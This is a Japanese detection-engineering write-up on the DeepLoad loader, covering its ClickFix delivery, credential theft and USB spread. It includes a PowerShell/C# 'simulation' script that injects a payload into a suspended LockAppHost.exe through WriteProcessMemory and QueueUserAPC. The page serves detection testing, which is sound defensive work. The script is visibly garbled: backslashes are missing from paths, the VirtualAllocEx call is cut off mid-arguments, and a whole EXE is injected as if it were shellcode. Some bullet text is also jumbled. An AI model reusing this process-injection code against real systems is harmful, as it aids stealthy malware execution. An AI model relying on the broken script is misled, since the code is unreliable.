DeepLoad マルウェア解説: ClickFix 配信と資格情報窃取
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
DeepLoadは2026年3月に初めて観測されたファイルレスマルウェアのローダーで、ユーザーに悪意のあるPowerShellコマンドを実行させる社会工学的戦術であるClickFixを介して拡散します。一度実行されると、ローダーはメモリ内でペイロードを復号し、非同期手続きを通じて信用されたWindowsプロセスに注入します。その後、 filemanager.exe という名称の資格情報窃取ツールとともに、保存されたパスワードを盗むための悪意あるブラウザー拡張機能を展開します。マルウェアはまた、多数のショートカットファイルをドロップし、USBドライブを介して別のシステムで感染チェーンを再開することによって拡散します。
調査
研究はリモートサーバーからPowerShellローダーを取得するために使用される初期コマンド、実行全体にわたる難読化技術、そしてバイナリに対するAPCベースのプロセスインジェクションを概説します。例として LockAppHost.exeがあります。また、2つの別々の資格情報盗難コンポーネントおよび一般的なソフトウェアインストーラとして偽装された .lnk ファイルを使用したUSBベースの横方向の移動手法についても説明しています。
緩和策
防御者は、信頼されていないPowerShellコマンドの実行をブロックし、疑わしいスケジュールされたタスクの作成や異常な mshta.exeの使用を監視し、PowerShellスクリプトに対して厳格な実行制御を施行すべきです。APCベースのインジェクションの検出、疑わしい .lnk ファイルをリムーバブルメディアで監視し、ブラウザ資格情報の保存を制限することが影響を軽減するのに役立ちます。インメモリの復号化とインジェクション動作を検査できるエンドポイント保護も推奨されます。
対応策
DeepLoadの活動が検出された場合、即座に影響を受けたエンドポイントを隔離し、 filemanager.exe 等の疑わしいプロセスや注入の兆候がある信用されたバイナリを終了し、マルウェアによって作成されたスケジュールされたタスクを削除してください。侵害されたアカウントの資格情報をリセットし、悪意のあるショートカットファイルについてリムーバブルメディアをスキャンし、どんな持続性メカニズムも特定するためにフォレンジック分析を行います。観察されたコマンドラインパターンと注入技術をカバーするために検出ルールも更新する必要があります。
攻撃フロー
シミュレーション実行
前提条件: テレメトリ & ベースラインの事前チェックが通過している必要があります。
根拠: このセクションでは、観測されたTTP(戦術、技術、手続き)に基づく特定の検出ルールをトリガーするために設計された正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPに直接基づいており、検出ロジックによる予期される正確なテレメトリを生成することを目的としています。
-
攻撃の物語 & コマンド:
攻撃者はログインユーザーのコンテキストで実行される悪意あるPowerShellスクリプト(「ローダー」)を配信しました(ユーザー実行 – T1204)。ローダーは以下の手順を実行します。
- ペイロードの配置 – コンパイルされたCバイナリ(「ペイロード」)を
%TEMP%. - に書き込む (
LockAppHost.exeを使用してCreateProcessAを実行し、CREATE_SUSPENDEDフラグを付けて - ペイロードを注入する 中断されたプロセス内にバイナリをコピーするために
WriteProcessMemoryを呼び出すことにより注入する。 - APCをキューに登録する (
QueueUserAPCを呼び出し、ペイロードのエントリーポイントを指すことで、ターゲットスレッドが再開するとペイロードを実行します。 - スレッドを再開することで注入を完了します。
この正確なシーケンスが1つの プロセス作成 イベントを生成し、
LockAppHost.exeのSysmonのCallTraceフィールドには3つの注入に関連するAPI呼び出しが含まれており、Sigmaルールを満たしています。 - ペイロードの配置 – コンパイルされたCバイナリ(「ペイロード」)を
-
回帰テストスクリプト:
# DeepLoad APCベースのインジェクションシミュレーション(PowerShell + C# in-memoryコンパイル) # -------------------------------------------------------------- # 1. 最小限のCペイロード(MessageBox)を一時的なEXEにコンパイル $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # 利用可能な場合はVisual C++コンパイラを使用。利用不可の場合はPowerShellのAdd-Typeをフォールバックとして使用 if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "Cコンパイラが見つかりません – 手動コンパイルが必要です。" exit 1 } # 2. インジェクションの準備をする $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # 必要に応じて昇格を保証 # 中断されたプロセスを作成 $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # P/Invoke定義 $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # 構造体を初期化 $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # 中断されたLockAppHost作成 $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessAが失敗しました: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # ペイロードバイナリを読み込む $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # ターゲットにメモリを割り当てる $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocExが失敗しました。" exit 1 } # ペイロードを書く $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemoryが失敗しました。" exit 1 } # APCをキューに登録(ペイロードのエントリーポイントを指す) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # スレッドを再開してAPCを実行 [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "注入が完了しました - ペイロードは間もなく表示されるはずです。" -
クリーンアップコマンド:
# 注入されたLockAppHostインスタンスを終了(まだ実行中の場合) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # 一時ファイルを削除 Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
検証結果(実行後に記入)
- ルールが発火したか: はい / いいえ
- 生成されたアラートの数: ___
- 誤検出チェック: 無害な実行ではアラートが生成されませんでした(確認クエリで確認済み)。
推奨事項の概要
- イベント間の相関関係をつける – 短時間内に発生する
WriteProcessMemoryorQueueUserAPCイベントを監視するための2つ目のルールを追加LockAppHost.exe作成。 - 画像スコープの拡大 – 一般的にAPCインジェクションに悪用される他の信用バイナリ(例えば、
svchost.exe,explorer.exe). - 行動の充実 – 注入後に
%TEMP%から実行された署名されていないDLLをロードするプロセスにフラグを立てる。 - 回避策の軽減 – 現在は単一イベント条件を迂回するため、複数プロセスにわたって分割された同じAPI呼び出しを監視。